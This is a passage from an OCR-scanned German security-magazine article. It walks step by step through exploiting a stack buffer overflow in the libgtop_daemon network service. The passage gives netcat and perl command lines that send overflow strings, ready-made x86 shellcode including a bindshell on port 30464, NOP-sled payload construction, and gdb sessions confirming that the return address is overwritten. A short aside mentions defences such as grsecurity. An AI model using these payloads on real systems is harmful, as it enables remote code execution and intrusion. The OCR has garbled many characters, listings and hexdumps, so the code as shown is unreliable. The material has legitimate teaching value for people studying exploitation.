grammversion ist auf der Heft-CD zu
finden. Sehen wir uns Listing 7 mit der
Definition der Funktion permitted (), €i-
nem Ausschnitt der Datei src/daemon/
gnuserv.c, an. Bei der Codeanalyse
bemerken wir die wiederholten Auf-
rufe der Funktion timed read() (die
in derselben Datei definiert ist). Sie
liest Zeichen aus einer Datei (deren
Handle ihr erstes Argument ist) in
einen Buffer (das zweite Argument),
und zwar nicht mehr davon, als es das
dritte Argument angibt, ein.

Jetzt wo wir schon wissen, was
timed _read() tut, sehen wir uns die
Funktion permitted() genauer an.
Besonders interessant ist die Zeile:

if (timed read (fd, buf,
auth_data_len, AUTH_TIMEOUT,
0) != auth data len)

Sie liest aus der Datei ra in den Buf-
ferous nichtmehrals auth  data 1len
Zeichen ein. Sollte es sich ergeben,
dass auth _data _len die GroRe von
puf(] (das, wie man auf Listing 7 se-
hen kann, 1024 Bytes lang ist) Uber-
schreitet, werden zu viele Zeichen
in das Array eingelesen, so dass es
zu einem Buffer Overflow und bei
etwas Gliick zur Uberschreibung der
Rickkehradresse aus der Funktion
permitted() kommt. Mal sehen, wo-
her dieses auth data 1en kommt.
Einige Zeilen friiher im Code werden
aus der Datei ra zehn Zeichen ein-
gelesen, die dann als eine Ganzzahl
der Variable autnh data len zuge-
wiesen werden:

auth data len = atoi (buf)
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Sollte die Datenquelle also die Kette:

2000

AA... (Zweitausend mal der Buchstaben A)

enthalten, so wird in das Array vuf(]
die ganze, zweitausend Buchstaben
lange Kette eingelesen, und der Buf-
fer [auft Gber.

Gehen wir noch einige Zeilen
weiter zurlick. Dort sehen wir, dass,
damit das untersuchte Codefragment
ausgeflhrt wird, die Bedingung:

if (!strcmp (auth protocol,

MCOOKIE_NAME) )

erfillt werden muss. Auch der In-
halt der Variable auth protocol
wird aus der Datei ra ausgelesen.
Es ist einfach zu Uberprifen, dass
McookIe _NaMe in der Datei include/
glibtop/gnuserv.h als wvacic-1 defi-
niert ist:

#define MCOOKIE NAME "MAGIC-1"

Kurz und bindig muss die Quelle
der von der Funktion permitted()
gelesenen Daten die folgende Kette
enthalten, damit ein Buffer Overflow
ouf[] erreicht werden kann:

MAGIC-1
2000

AA... (Zweitausend mal der Buchstaben A)

Jetzt empfiehlt es sich, uns den
Quellcode von libgtop genauer an-
zusehen, um zu Uberprifen, unter
welchen Umsténden die Funktion
permitted() aufgerufen wird und
woher sie ihre Daten bezieht. Aus
einer kurzen Analyse ergibt es sich,
dass eine gestartete Instanz von
libgtop_daemon (am besten mit der
Option -t aufgerufen, so dass das
Programm nach dem Start nicht in
den Hintergrund ubergeht) den Da-
tenport 42800 6ffnet und dort nach
eingehenden Daten lauscht. Wir
kénnen also (beispielsweise mit net-
cat) die genannte Kette auf diesem
Weg an die Anwendung Uberreichen
und einen Uberlauf des StackBuffers
verursachen.
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Die Anfalligkeit von
libgtop_daemon gegen
einen Bufferoverflow

Vergewissern wir uns, dass libgtop__
daemon wirklich gegen den Buffero-
verflow anfallig ist. Dazu kompilieren
wir die Quellen von libgtop — sie sind
auf der Heft-CD zu finden — mit den
Standardbefehlen:

$ ./configure

$ make

Danach wechseln wir zum Ver-
zeichnis src/daemon und rufen das
folgende Kommando auf:

$ ./libgtop_daemon -f

libgtop_daemon wird gestartet und
beginnt, am Port 42800 zu lauschen.
Anschlieltend 6ffnen wir eine zweite
Konsole und senden davon an den
Port 42800 des Localhosts eine
Kette, die einen Buffer Overflow
verursacht. Da es umstandlich ware,
2000 mal den Buchstaben A manuell
einzugeben, lassen wir Perl die Ar-
beit machen. Zwei tausend der Zei-
chen A kénnen beispielsweise vom
folgenden Zweizeiler ausgegeben
werden:

#!/usr/bin/perl
print "A"x2000

Die erste Skriptzeile informiert den
Systemkern, was fur ein Interpre-
tierer (hier /usr/bin/per1) das Skript
ausfuhren soll, und die zweite gibt
zwei Tausend der Buchstaben A aus.
Wir kdnnten das Skript in einer Datei
speichern, den Code zum Ausgeben
von MacIc-1\n2000\n hinzufligen und
dann das Ganze starten, indem wir
die Standardausgabe in nefcat um-
leiten wirden; diese Lésung ist aber
nicht bequem. Um die Anzahl der
ausgegebenen Zeichen zu andern,
mussten wir das Skript bearbeiten,
also tun wir es anders. Dasselbe
Ergebnis wie mit dem obigen Skript
erreichen wir mit dem Kommando:

$ perl -e 'print "A"x2000'

Wenn der Perl-Interpretierer mit der
Option -< gestartet wird, fuhrt er die
als Argument angegebenen Befehle
aus. Um die ganze Kette zum Buffer
Overflow ausgeben zu lassen, rufen
wir ihn also wie folgt auf:

$ perl -e \
'print "MAGIC-1\n2000\n"."A"x2000"'

Dieses Kommando starten wir, indem
wir die Ausgabe in netcat umleiten:

$ perl -e \
'print "MAGIC-1\n2000\n"."A"x2000" \
| nc 127.0.0.1 42800

Schauen wir an der Konsole vorbei,
wo libgtop_daemon arbeitet, und
Uberprifen, ob es mit der Fehlermel-
dung segmentation fault beendet hat.

Wie viele Zeichen flir
einen Buffer Overflow

notwendig sind

Da wir mit einer zu langen Kette die
Rickkehradresse aus der Funktion
Uberschreiben wollen, Uberprifen
wir, wie lang diese Kette zu sein
hat. Einerseits kann sie nicht zu kurz
sein, weil sie die Adresse dann nicht
ersetzen kann; andererseits ist auch
eine zu lange Kette nicht elegant, da
die Uberschreibung eines zu langen
Speicherbereichs zu unerwarteten
und schwer zu diagnostizierenden
Ergebnissen fihren kann. Wir wis-
sen schon, dass eine Kette von
zwei Tausend der Buchstaben A die
Rickkehradresse Uberschreibt, also
versuchen wir es mit einem Befehl,
der dem obigen ahnelt, jedoch weni-
ger Zeichen ausgibt, beispielsweise:

$ perl -e \
'print "MAGIC-1\nl1500\n"."A"x1500" \
| nc 127.0.0.1 42800

Bemerkung: Natirlich muss nach je-
dem Versuch libgtop_daemon erneut
gestartet werden. Es kann passieren,
dass wir bei einem Versuch, es wieder
aufzurufen, die Meldung erhalten:

bind: Address already in use
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/bin/sh

Listing 9. Der Shellcode zum Starten einer Shell

\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d
\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xfE\xff\xff

main ()

char shellcode[] =

"\xff\xff/bin/sh";

void (*ptr) ();

ptr = shellcode;
ptr();

Listing 10. Wir (iberpriifen, ob der Shellcode tatsédchlich funktioniert

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\x£f3"
"\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"

Dann ist es am einfachsten, eine
Minute abzuwarten und dann noch
einmal versuchen, die Anwendung
zu starten.

Nach einigen Versuchen stellen
wir fest, dass die kirzeste Kette, die
ein segmentation fault verursacht,
1178 Zeichen lang ist. Wir kénnen er-
raten, dass diese Kette die Riickkehr-
adresse vom Stack nicht Giberschreibt,
Davor befindet sich auf dem Stack
namlich die Adresse des vorigen un-
tersten Elements im Stack; auch ihre
Modifizierung macht das Programm
instabil (siehe Abbildung 4, Teil 5). Mal
sehen, ob es wirklich der Fall ist.

libgtop_daemon im

Debugger

Um libgtop_daemon im Debugger
zu starten, ware es gut es zuerst neu
zu kompilieren, indem wir auch die
Debugging-Informationen  bertck-
sichtigen, und zwar mit der Compiler-
Option -ggdb (in gcc). Wir 6ffnen die
Datei Makefile aus dem Wurzelver-
zeichnis der Verzeichnisstruktur der
Quellen in einem Editor und suchen
darin die folgende Zeile auf:

CC = gcc
Die Zeile gibt den Namen des zu
verwendenden Compilers an. Wenn

sie durch:

CC = gcc -ggdb

ersetzt wird, wird der Compiler stets
mit der Option -ggdb aufgerufen. Ver-
suchen wir es. Wir modifizieren also
Makefile und rufen:

$ make

auf. Anschlielend wechseln wir ins
Verzeichnis src/daemon. Darin rufen
wir den Befehl:

$ gdb libgtop daemon

auf. Nachdem wir den Debugger
gestartet haben, versuchen wir das
Kommando list. Da der Debugger
den Quellcode des Programms
anzeigt, wissen wir, dass die Infor-
mationen flr gdb darin eingegliedert
wurden.

Wir setzen also einen Haltepunkt
an der Stelle, wo der Buffer lber-
schrieben wird, d.h. in der Zeile 203
der Datei gnuserv.c:

if (timed read (fd, buf,
auth_data_len, AUTH_TIMEOUT, 0)

Wie vorher, setzen wir den Halte-
punkt mit:

(gdb) break gnuserv.c:203

Nun starten wir libgtop_daemon mit
der Option -£:

(gdb) run -f
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Danach senden wir aus einer zwei-
ten Konsole eine Kette von 1178 der
Buchstaben A an den Port 42800 am
Localhost:

$ perl -e \
'print "MAGIC-1\nl1178\n" . "A"x1178"' \

| nc 127.0.0.1 42800

In der Debugger-Konsole sehen wir,
dass das Programm an der Zeile
gestoppt ist, wo sich der Haltepunkt
befindet. Mal sehen, was flir einen
Wert die Rickkehradresse aus der
Funktion fuhrt:

(gdb) print Sebp+4
(gdb) x Sebp+d

Der erste Befehl zeigt die Adresse, wo
die Rickkehradresse aus der Funk-
tion aufbewahrt wird, an. Der zweite
gibt den eigentlichen Wert der Ruick-
kehradresse an. Nun fiihren wir die
Zeile aus, wo der Buffer Uberschrie-
ben wir, und Uberprifen, ob sich die
Rickkehradresse geandert hat:

(gdb) next
(gdb) x S$ebp+d

Wir sehen, dass die Adresse unver-
andert blieb. Dies bestatigt unsere
Hypothese — obwohl das Programm
nach der Einspeisung von 1178
der Buchstaben A instabil arbeitet,
wird die Ruckkehradresse aus der
Funktion dabei nicht iberschrieben.
Nach einigen analogen Versuchen
(mit immer langeren Zeichenketten)
stellen wir fest, dass die klirzeste
Kette, die die Rilckkehradresse
Uberlappt, 1184 Buchstaben ent-
halt.

Entwerfen der

Angriffskette

Der Angriffsplan sieht folgender
mafen aus: Wir Uberreichen an das
Programm libgtop_daemon eine
Kette, die 1184 Bytes in den Buffer
einflgt. Fur alle Falle verwenden wir
eine etwas langere Kette — sage wir,
von etwa 1200 Bytes. Diese Zwolf-
hundertbytekette besteht (wie in Ab-
bildung 5) aus drei Elementen:
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« einer Reihe an nop-Befehlen,

* dem Shellcode,

» einer Adresse, die auf eine Stelle
in der nop-Kette hinweist.

Versuchen wir, eine solche Kette zu
konstruieren. Erstens missen wir
entscheiden, wie viel von der Kette
die nops, und wie viel die Adressen
aufnehmen. Hier machen wir die bei-
den Teile ungefahr gleich. Von der
geplanten Kettenldnge (1200 Bytes)
subtrahieren wir die Lange des Shell-
codes, dividieren das Ergebnis durch
zwei und fillen die Kette mit der ent-
sprechenden Anzahl von nop-Bytes
und Adressen jeweils am Anfang und
Ende der Kette.

Nun brauchen wir noch einen
passenden Shellcode, den wir pro-
blemlos via Google finden. Der neue
Code steht in Listing 9.

Laut der im Internet gefundenen
Beschreibung 6ffnet diese kurze Byte-
folge unter Linux auf der x86-Plattform
eine Shell (im Code ist sogar die Kette
/bin/sh zU sehen). Die downgeloade-
ten Programme sind aber mit einge-
schranktem Vertrauen zu betrachten.
Uberpriifen wir, ob der Code wirklich
funktioniert. Wir brauchen ihn nur in
ein Textarray einzufiigen, den Zeiger
auf die Zeichenkette durch einen auf
die Funktion zu ersetzen und sie aus-
fuhren lassen. Die ganze Operation ist
in Listing 10 abgebildet.

Nun kompilieren wir und starten
das Programm:

$ gcc Shellcodetest.c -o Shellcodetest
$ ./Shellcodetest
sh-2.05b$

Die Shell ist gestartet worden, also
fahren wir mit unserem Kettenent-
wurf fort. Der Shellcode nimmt 45
Bytes auf, es bleiben also (1200-
45)/2=577,5 Byte fir Adressen und
nops. Jede Adresse ist vier Bytes
lang, also setzen wir voraus, dass
Adressen 576 Bytes, und nops den
Rest, also 579 Bytes fiillen. Uberpri-
fen wir die Berechnungen noch ein-
mal: 576 Bytes flur Adressen, 579 flr
nops, 45 fir den Shellcode ergeben
576+579+45=1200.
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echo -en
echo -en
echo -en
echo -en

WA A W A

Listing 11. Wir legen drei Hilfsdateien an

perl -e 'print "\x90"x900' > nop.dat
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" > shellcode.dat
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d" >> shellcode.dat
"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80" >> shellcode.dat
"\xe8\xdc\xff\xff\xff/bin/sh" >> shellcode.dat

perl -e 'print "\x11\x22\x33\x44"x500' > address.dat

“head -c 576 address.dat’
00000000 4d 41 47 49 43 2d
00000010 90 90 90 90 90 90
(...)
000001£0 90
00000200 90
00000210 Ob
00000220 cd
00000230 33
(...)
00000460

31 Oa
90 90

31
90

90
eb

90 90 90
1f 5e 89
89 f£3 8d 4e
80 e8 dc ff
44 11 22 33

90 90 90
76 08 31
08 8d 56
ff £ff 2f
44 11 22

90
c0
Oc
62
33

33 44 11 22 33 44 11 22 33

Listing 12. Sieht die konstruierte Kette wie geplant aus?

$ echo -e "MAGIC-1\nl1200\n" head -c 579 nop.dat’ cat shellcode.dat'\
| hexdump -Cv

32
90

90
88
cd
69
44

44

30 30 0a 90 90 90 |MAGIC-1.1200....]
90 90 90 90 90 90 J.etiiiniiiiinnnnn. |
90 90 90 90 90 90 J.euiiiiiiiinnnn.. |
46 07 89 46 Oc b0 |.&.~.v.1R.F..F.°|
80 31 db 89 d8 40 |..6.N..v.I.10.R@|
6e 2f 73 68 11 22 |f.¢0" " /bin/sh."|
11 22 33 44 11 22 |3D."3D."3D."3D."|
11 22 33 44 0a |3D."3D."3D."3D."|

Bevor wir die Kette aufbauen,
mussen wir noch wissen, was flr eine
Adresse zu verwenden ist. Es muss
eine sein, die ein bisschen (beispiels-
weise zwischen zehn und zwanzig
Bytes) hoher als die Anfangsadresse
des Arrays pus[] liegt. Woher wissen
wir aber, wo im Speicher das Array
puf[] platziert ist, wenn das Programm
arbeitet? Momentan brauchen wir uns
dariiber den Kopf nicht zu zerbrechen,
wir stellen es spater mit dem Debug-
ger fest. Zurzeit bedienen wir uns der
Adresse 0x11223344.

Konstruktion der
Angriffskette

Unser Entwurf fur die Kette, die wir
an das Programm libgtop_daemon
senden, ist also wie folgt:

e die Zeile uacIc-1,

« die Zeile 1200,

+ eine dreiteilige Zeile: 579 ox90-
Bytes (der Befehl nop), 45 Bytes
Shellcode und 140 Wiederho-
lungen der Adresse 0x11223344
(jede Adresse nimmt vier Bytes
auf, insgesamt beanspruchen die
Adressen also 576 Bytes).

Es lohnt sich auch, drei Hilfsdateien
anzulegen:

* nop.dat, mit mehreren hundert
ox90-Bytes,

* shellcode.dat,
code,

¢ address.dat, mit mehreren Hun-
dert der 0x11223344-Adressen.

mit dem Shell-

Diese Dateien kdnnen wir auf die in
Listing 11 demonstrierte Art und Wei-
se anlegen. nop.dat und address.dat
legen wir mit einer bereits ange-
sprochenen Methode an — mit dem
Befehl per1 mit der Option -e, die
ihn das als Argument angegebene
Skript ausfuhren lasst. Um den Shell-
code in eine Datei einzuspeisen, ver-
wenden wir das Standardkommando
echo mit zwei Optionen. Die Option
-e verursacht, dass die Kette \x4e
als ein Byte vom Hexadezimalwert
Ox4e, und nicht als die vier Zeichen
\x4e betrachtet wird. Die Option -n
bewirkt, dass die ausgegebene Ket-
te nicht mit einem Zeilenendzeichen
beendet wird.

Mit den Hilfsdateien parat kbnnen
wir unsere Kette aus den vorbereiteten
Teilen zusammenschweifl’en. Wir las-
sen 579 Bytes aus der Datei nop.dat
mit dem Befehl head (zum Anzeigen
des Anfangs einer Datei) ausgeben:

$ head -c 579 nop.dat
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Den Inhalt der Datei shellcode.dat
geben wir mit dem Kommando cat
aus. Um alle Elemente zusammen-
zufiigen und die Kette anzeigen zu
lassen, verwenden wir den Befehl:

$ echo -e \ "MAGIC-1\n1200\n"\
‘head -c 579 nop.dat’\
‘cat shellcode.dat’\
‘head -c 576 address.dat’

Die Ausgabe hiervon ist eine Kette
von Unsinn. Vergewissern wir uns,
dass sie diejenige ist, die wir erhal-
ten wollten. Berechnen wir, wie lang
sie ist (das Kommando wc zeigt die
Anzahl der Zeilen, Woérter und Zei-
chen im Text an der Standardeinga-
be an):

$ echo -e \ "MAGIC-1\n1200\n"\
‘head -c 579 nop.dat’\
‘cat shellcode.dat’\
‘head -c 576 address.dat’ \

| wc

Die Kette ist 1214 Bytes lang
— genau korrekt (1200 Bytes plus
die Lange der zwei ersten Zeilen).
Sehen wir uns ihren Inhalt mit
dem Tool hexdump an (es zeigt Bi-
nardaten in Hexadezimalform an)
— Listing 12. Er sieht sinnvoll aus:
Zuerst kommen macic-1 und 1200,
dann ziemlich viele nops, eine Rei-
he von merkwirdigen Zahlen, die
auf den ersten Blick als Shellcode
eingeschatzt werden kénnen, und
eine lange Reihe an ox11223344-
Adressen.

Der erste

Angriffsversuch
Versuchen wir, den Daemon anzu-
greifen. Erstmals starten wir libg-
top_daemon im Debugger, so dass
wir sicher gehen kénnen, dass die
Rickkehradresse aus der Funktion
mit unserem Wert Uberschrieben
wird. Dabei Uberprifen wir auch, wo
im Speicher der Buffer put[] platziert
wird (zur Erinnerung: Wir brauchen
diese Adresse, um sie in die Kette
einzufiigen, so dass die Funktion in
die nops vor dem Shellcode zurtck-
kehrt).

Listing 13. Eine Debugger-Sitzung

(...)
(gdb) break gnuserv.c:203

(gdb) run -f

(gdb) x Sebp+d
Oxbffff8dc: 0x0804alae
(gdb) next

(gdb) x Sebp+4

Oxbffff8dc: 0x44332211

(gdb) print &buf

$1 = (char (*)[1024]) Oxbffff440
(gdb) x/24 buf

(von)

(gdb)

(von)

(gdb) quit

The program is running. Exit anyway?

[haking@live daemon]$

[haking@live daemon]$ gdb libgtop_daemon
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Script started on Sat 15 May 2004 02:30:58 AM EDT
haking@live:/ramdisk/home/haking/libgtop-1.0.6/src/daemon

Breakpoint 1 at 0x8049e42: file gnuserv.c, line 203.
Starting program: libgtop-1.0.6/src/daemon/libgtop_daemon -f

Breakpoint 1, permitted (host addr=16777343, fd=6) at gnuserv.c:203
203 if (timed read (fd, buf, auth data len, AUTH TIMEOUT, 0) != auth data_len)

207 if (!invoked from inetd && server xauth && server_xauth->data &&

Oxbffff440:0x90909090 0x90909090 0x90909090 0x90909090
Oxbff££450: 0x90909090 0x90909090 0x90909090 0x90909090

Oxbffff670:0x90909090 0x90909090 0x90909090 0x90909090

Oxbffff680: 0xeb309090 0x76895elf 0x88c03108 0x46890746
Oxbffff690: 0x890bb00c 0x084e8df3 0Oxcd0c568d 0x89db3180
Oxbffff6al: 0x80cd40d8 Oxffffdce8 0x69622fff 0x68732f6e
Oxbffffob0:0x44332211 0x44332211 0x44332211 0x44332211
Oxbffffob0: 0x44332211 0x44332211 0x44332211 0x44332211

Oxbffff8e0:0x44332211 0x44332211 0x44332211 0x44332211
Oxbffff8f0: 0x4006bc84 0x00000005 0x00000010 Oxbffff900

(y or n) y
haking@live:/ramdisk/home/haking/libgtop-1.0.6/src/daemon

Script done on Sat 15 May 2004 02:35:06 AM EDT

Fir unseren Versuch brauchen
wir zwei Konsolen. In der einen star-
ten wir den Debugger (die komplette
Aufzeichnung der Sitzung steht in
Listing 13):

$ gdb libgtop daemon

Wir setzen einen Haltepunkt in der
Zeile, wo der Buffer Uberfullt wird:

(gdb) break gnuserv.c:203

und starten das untersuchte Pro-
gramm mit der Option -t (damit es
nicht im den Hintergrund gestartet

wird):

(gdb) run -f

www. hakinS.org

Das Programm wartet auf Daten
am Port 42800. Senden wir ihm
die vorbereitete Kette zu. Hierzu
wechseln wir zur zweiten Konsole
(ins Verzeichnis mit den Hilfsda-
teien nop.dat, shellcode.dat und
address.dat) und rufen den folgen-
den Befehl auf:

$ echo -e \
"MAGIC-1\n1200\n"\
‘head -c 579 nop.dat’\
‘cat shellcode.dat’\
‘head -c 576 address.dat’ \
| nc 127.0.0.1 42800

Jetzt kehren wir zur Debugger-

Konsole zurlick. Es ist zu sehen,
dass das Programm in der Zeile
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Listing 14. Der Shellcode zum Offnen einer Shell am Port 30464

char shellcode[] = /* Taeho Oh bindshell code at port 30464 */
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31\xdb\x89"
"\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\xb3"
"\x01\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d"
"\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3"
"\x02\xcd\x80\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3"
"\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80"
"\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88"
"\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\x£3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";

mit dem Haltepunkt angelangt und
gestoppt ist:

Breakpoint 1, permitted
(host_addr=16777343, fd=6)
at gnuserv.c:203

203 if (timed read (fd,
buf, auth _data len,
AUTH_TIMEOUT, 0)

!= auth_data_len)

Jetzt — noch bevor der Buffer tber-
laufen ist — Gberprifen wir die Rick-
kehradresse aus der Funktion:

Bufferoverflow unter
FreeBSD

Einer unserer Betatester, Pawet Lu-
ty, hat die im Artikel beschriebenen
Ubungen (Bufferoverflow in den Pro-
grammen stack_1.c und stack_2.c)
unter FreeBSD durchgefiihrt. Hier
sind seine Beobachtungen:

Die im Text besprochenen Meto-
den haben funktioniert. Ich musste
bloR die Programme stack_1.c und
stack_2.c bearbeiten, indem ich den
Shellcode durch:

\xeb\x0e\x5e\x31\xc0\x88\x46\x07
\x50\x50\x56\xb0\x3b\x50\xcd
\x80\xe8\xed\xff\xff\xff/bin/sh

ersetzt habe. Problematisch war das
Kommando echo, das unter FreeBSD
die Option -e nicht bereit stellt — statt-
dessen kann jedoch Perl angewendet
werden.

Ich habe auch bemerkt, dass
(so-weit es Tabelle 1 angeht) die
Bufferadresse bei aufeinander folgen-
den Aufrufen des Programms unter
FreeBSD 5.1-RELEASE-p10 konstant
bleibt.
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(gdb) x $Sebp+d
Oxbffff8dc: 0x0804alae

Wir fihren die aktuelle Zeile aus,
so dass die Riickkehradresse Uber-
schrieben wird, und Uberprifen ihren
neuen Wert:

(gdb) next

207 if (!invoked from inetd

&& server_xauth

die von uns vorgegebene Kette

&& server xauth->data &&
(gdb) x Sebp+4
Oxbffff8dc: 0x44332211

Die Adresse wurde zwar mit dem
von uns angegebenen Wert Uber-
schrieben, der aber umgekehrt
wurde (anstatt unseres o0x11223344
ist auf dem Stack ox44332211 erschie-
nen). Es ergibt sich daraus, dass
x86 im little endian Modell arbeitet
(niederwertige Bytes werden vor
den hoherwertigen gespeichert),
also mussen wir die Adresse auch
umgekehrt angeben. Wo wir schon
da sind, Uberprifen wir die Adresse
des Buffers put(:

(gdb) print &buf
$1 = (char (*)[1024]) Oxbffff440

Fur alle Falle sehen wir uns noch

den Inhalt des Speichers ab dieser
Adresse an (um uns zu vergewis-

»

<
<

Adresse Adresse Adresse Adres;e
L2 ]sfaf1f2]s]afr]o]s]afr][2]s]4]
HERREDEOEEEREEEN

Ruckkehradresse

<
<

Stack

»
>

Abbildung 8. Die Kette zum Uberlauf des Buffers iiberschreibt den Stack,
darunter die Riickkehradresse aus der Funktion; diesmal haben wir Gliick
— die Grenzen zwischen Wértern in der liberschreibenden Kette und auf dem

Stack decken sich

die von uns vorgegebene Kette

»

<
<

>

Adresse Adresse Adresse Adresse
L1 2 ]s s Jr]ofsfe]r]o]a]afr]o]s]4]
HEEREBEDEEEEEREEN
Riickkehradresse
Stack

Abbildung 9. Die Kette, die den Buffer liberlduft, (iberschreibt den Stack,
darunter auch die Rlickkehradresse aus der Funktion; Pech gehabt — die
Grenzen zwischen Wértern in der (iberschreibenden Kette und auf dem
Stack decken sich nicht, also wird die Adresse mit einem inkorrekten Wert

liberschrieben
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sern, dass sich unsere Kette wirklich
dort befindet):

(gdb) /24 buf

Alles sieht korrekt aus — zuerst
eine lange Reihe von nops, dann
der Shellcode und eine Reihe der
Adressen. Jetzt wahlen wir und mer-
ken uns eine Adresse vom Anfang
des nop-Bereichs, beispielsweise
oxpff££500. Wir Uberschreiben damit
die Rickkehradresse aus der Funk-
tion. Wir beenden die Debugger-Sit-
zung mit dem Befehl quit oder mit der
Tastenkombination [Cir/]+[D].

Aus der Debugger-Sitzung haben
wir also erfahren, dass die Riickkehr-
adresse aus der fehlerhaften Funktion
tatsachlich Uberschrieben wird; wir
miussen blof3 daran denken, die ein-
zelnen Bytes in der Uberlaufkette in
umgekehrter Reihenfolge zu platzie-
ren. Die Adresse, mit der die weitere
Ausfiihrung des Codes beginnen soll,
ist die Adresse aus dem Anfang des
nop-Bereichs, oxbrrees00. Wir kbnnen
jetzt also die endgliltige Kette aufbe-
reiten, die wir dem libgtop-Daemon
zusenden, damit er eine Shell fir uns
offnet. Unterwegs kdénnen wir aller-
dings noch mit einem kleinen Problem
konfrontiert werden.

Ein kleiner Exkurs
Sehen wir uns Abbildung 8 an. Sie
zeigt, wie die Adressen eine nach
der anderen im Speicher den Stack
Uberschreiben, darunter auch die
Rickkehradresse aus der Funktion.
Mit solch einer Situation haben wir
schon zu tun gehabt — in unserer
Kette haben wir die Adresse 1234
mehrmals wiederholt, so dass die
Rickkehradresse mit diesem Wert
Uberschrieben wurde.

Es konnte aber anders aussehen
— siehe Abbildung 9. Dann haben wir
weniger Gliuck und die Kette beginnt
im Buffer ein Byte weiter als vorausge-
setzt. Die Riickkehradresse wird dabei
durch den Wert 2341 ersetzt. Wir kén-
nen das mit dem Debugger (wie in Lis-
ting 13) beobachten. Wenn der Befehl
x sebp+4 nach der Ausfiihrung der Zei-
le, wo die Adresse Uberschrieben wird,

Funktioniert die beschriebene Methode in der Praxis?
Fur die obigen Versuche haben wir perfekt komfortable Bedingungen gehabt — wir
konnten ihre Effektivitat am selben System uberprifen, an dem sie durchgefiihrt
worden sind. Daher war uns die Adresse des vorgeschobenen Shellcodes im
Speicher bekannt. In einer realen Situation missen wir damit rechnen, dass keine
Versuche am angegriffenen Rechner mdglich sind. Bedeutet das nicht, dass der
Shellcode unter einer anderen Adresse landet und der ganze Angriff somit schei-
tert? Man konnte meinen, dass die Adresse des Arrays buf[] auf allen Rechnern
dieselbe ist. Der Stack beginnt immer ab 0xc0000000, und die Zahl und Umfang der
dort abgelegten Variablen hangen nur vom Programm selbst, und nicht von Biblio-
theken bzw. von der Kernelversion ab.

Damit wir uns aber nicht nur auf gesunden Menschenverstand zu verlassen
haben, wurde ein Versuch durchgefuhrt: In der Datei gnuserv.c wurde eine Zeile
hinzugefiigt, die direkt nach dem Uberlauf des Buffers seine Adresse anzeigt:

printf ("\nBufferadresse: 0x%x\nn", s&buf);

Das modifizierte Programm wurde auf vier verschiedenen Rechnern gestartet. Die
ausgegebenen Adressen sind in Tabelle 1 zusammengefasst. Offenbar kann der
Shellcode unseren Hoffnungen entgegen unter einer anderen Adresse als auf unse-
rem Rechner landen. Was kann der Grund daflr sein?

Die Ursache, warum die Adresse des Arrays buf[] auf den zwei letzten Rechner
bei jedem Programmstart unterschiedlich ist, sind Kernelkorrekturen, deren Zweck
eben das Erschweren von Angriffen ist, die auf dem Uberlauf von StackBuffern ba-
sieren. Der Unterschied zwischen dem ersten und dem zweiten Rechner kann aus
vielen Grinden folgen — etwas daraus, dass Umgebungsvariablen auf dem Stack
gespeichert werden; dies stellen wir mit dem Befehl:

$ export XXX=XXXXXXXXXXXXXXXXXX

fest, nach dem wir die Adresse von buf [] erneut Uberprifen.

Aus diesem Experiment ergeben sich zwei Schlisse. Erstens sollte die
bosartige Kette, die fiir den Uberlauf sorgt, aus der Angreifersicht méglich viele
nops enthalten, und die Uberschriebene Riickkehradresse sollte sich irgendwo
gegen Mitte des ganzen Bereichs befinden. Auf diese Art und Weise kann der
Angriff erfolgreich sein, auch wenn sich (wie hier) die Bufferadresse um meh-
rere hundert Bytes verschiebt (Bemerkung: Dabei ist nicht zu vergessen, dass,
wenn der Adressenbereich zu kurz ist, die Probleme aus dem in der kommenden
Ausgabe publizierten Artikel Shellcode mit Python auftreten kénnen). Zweitens
kann man sich — vom Standpunkt des Administrators — gegen solche Angriffe
(mehr oder weniger effektiv) absichern; hier ware beispielsweise das Projekt
grsecurity von Interesse.

Uber eine andere, elegantere, raffinierte und wirksame Methode, dieses Pro-
blem zu beseitigen, schreibt Marcin Wolak in seinem Artikel Ein Exploit fiir Windows
2000.

Tabelle 1. Die Adresse des Buffers buf[] in untersuchten Systemen

Debian testing, Kernel 2.4.21 Oxbff££480

Suse, Kernel 2.6.4-54.5 Oxbfff£180

verschiedene Adressen bei jedem Start,
Aurox 9.4 . .
beispielsweise 0xbfffe6dd

Mandrake, Kernel 2.4.22-1.2149.nptl verschiedene Adressen bei jedem Start
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unseren Wert anzeigt, der aber um
ein, zwei oder drei Bytes verschoben
ist, haben wir es eben mit dieser Situ-
ation zu tun. Dann missen wir einige
Zeichen an unsere Kette anhangen,
so dass sich die Adressgrenzen darin
mit den Wortgrenzen auf dem Stack
decken (wie in Abbildung 8):

$ echo -e "MAGIC-1\nl1201\n"\
‘head -c 579 nop.dat’\
‘cat shellcode.dat’'-\
‘head -c 576 address.dat’ \
